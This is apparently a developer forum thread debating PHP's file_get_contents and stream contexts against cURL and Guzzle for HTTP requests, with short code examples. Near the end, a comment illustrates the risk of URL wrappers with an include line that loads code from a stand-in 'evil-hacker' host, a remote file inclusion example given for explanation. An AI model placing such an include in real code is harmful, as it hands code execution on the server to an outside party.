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>Personally if I was getting data from HTTP in PHP the last thing I would ever do is use file_get_contents. Just because you can doesn't mean you should.

Why not? file_get_contents makes things much simpler, and there's nothing really wrong with it. Fetching a JSON file is simple, for example:

  $file = file_get_contents("http://example.com/some.json");
  if ($file === FALSE) {
    die("Failed to get JSON file");
  }
  $data = json_decode($file);
  if ($data === NULL) {
    die("Failed to decode JSON");
  }
  echo htmlspecialchars($data->foo->bar);

To be honest, I think cURL is unnecessary in most cases. PHP's HTTP streams do a better job without relying on an additional extension (HTTP streams are in the PHP core, while cURL must be built separately and often installed separately), and the HTTP stream context options with their string key names are much nicer than the dreaded CURLOPT_* constants.

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Why not?

1) The name of the function is file_get_contents, however you're not getting a file. It just annoys me, it reads wrong. stream_get_contents is better but I still wouldn't go reaching for streams for HTTP requests. 2) It provides you with a lack of control. 3) It's pretty sloppy, to do anything like POST requests with bodies you have to do hacky stuff.

I wouldn't be writing my own curl call request either I would use a library such as Guzzle.

>1) The name of the function is file_get_contents, however you're not getting a file.

No, you are getting a file. It's from a remote location, but it's a file nonetheless. Are ftp:// resources not files? Are ssh:// resources not files?

>2) It provides you with a lack of control.

Does it? Stream context options give you a degree of control. If file_get_contents isn't quite right for you, there's also fopen.

>3) It's pretty sloppy, to do anything like POST requests with bodies you have to do hacky stuff.

  $ctx = stream_context_create([
    'http' => [
      'method' => 'POST',
      'header' => 'Content-type: application/x-www-form-urlencoded',
      'content' => $some_post_data_here
    ]
  ]);
  $result = file_get_contents('http://example.com/post_endpoint', false, $ctx);

Where's the hacky stuff?

It's also shorter and more readable than the equivalent in cURL (the PHP cURL extension, not the command-line, obviously) and you don't even need to install an extension!

> No, you are getting a file. It's from a remote location, but it's a file nonetheless. Are ftp:// resources not files? Are ssh:// resources not files?

FTP of course it's a file, it's a FILE TRANSFER PROTOCOL. HTTP is HYPERTEXT TRANSFER PROTOCOL. You're getting Hypertext. SSH:// are not files. You are getting the contents of a stream. So you're getting the stream content.

> Does it? Stream context options give you a degree of control. If file_get_contents isn't quite right for you, there's also fopen.

To be fair I've not looked into all the options for the streams in http. But does it give you the option to use global dns cache? How about save the cookies and reuse them for later requests? Will it deal with gzip for me? If you can do all the stuff curl can do I'll be all fair enough you've got a point.

> Where's the hacky stuff?

For me the fact I had to define the header.

> It's also shorter and more readable than the equivalent in cURL

It's not more readable. It says it's getting a file, you lied to me and got stream contents instead.

> and you don't even need to install an extension!

If you really don't want to install extensions and just use the core language fair enough, I would rather use the best tools available.

>HTTP is HYPERTEXT TRANSFER PROTOCOL. You're getting Hypertext.

The responses HTTP gives are very file-like. So much so HTTP is often used for distributing files. Indeed, most pages reference several files.

> But does it give you the option to use global dns cache?

I don't believe so. I don't think most users need to, however.

> How about save the cookies and reuse them for later requests?

I can't actually remember. Possibly.

> Will it deal with gzip for me?

Yes.

> If you can do all the stuff curl can do I'll be all fair enough you've got a point.

It can do most of the stuff cURL does. It doesn't do everything, but my point is most of the time you don't necessarily need cURL, and IMO this API is nicer.

> For me the fact I had to define the header.

That's not hacky at all; sending POST requests usually requires specifying a Content-Type. cURL just automatically does that for you in some cases.

> It's not more readable. It says it's getting a file, you lied to me and got stream contents instead.

You did get a file. The file the request returned.

> If you really don't want to install extensions and just use the core language fair enough, I would rather use the best tools available.

You might be missing my point.

If cURL options are a problem, why not use a nice HTTP client like Guzzle that is built on top of cURL extensions?

Well, because there's no real need IMO. But you could indeed use Guzzle if you so desired.

file_get_contents only works on external URLS if the fopen_wrapper have been enabled in the PHP.ini. Most the shared hosting I've come across have this disabled, so it would show an error.

cURL is the functions you need to 'get' a URL, not file_get_contents.

>file_get_contents only works on external URLS if the fopen_wrapper have been enabled in the PHP.ini. Most the shared hosting I've come across have this disabled, so it would show an error.

Oh, that's a shame. Though there's nothing forcing you to use any particular shared hosts. There are plenty of awful ones, but you don't have to use them.

>cURL is the functions you need to 'get' a URL, not file_get_contents.

Well, many shared hosts have that disabled. ;)

Disabling opening urls in fopen isn't something an awful host does, it's generally considered a smart thing to do. Stops include "http://www.evil-hacker.com/rext.txt";

Or just set 'allow_url_include' to 0, which it is by default, and which won't disable streams for everything else.

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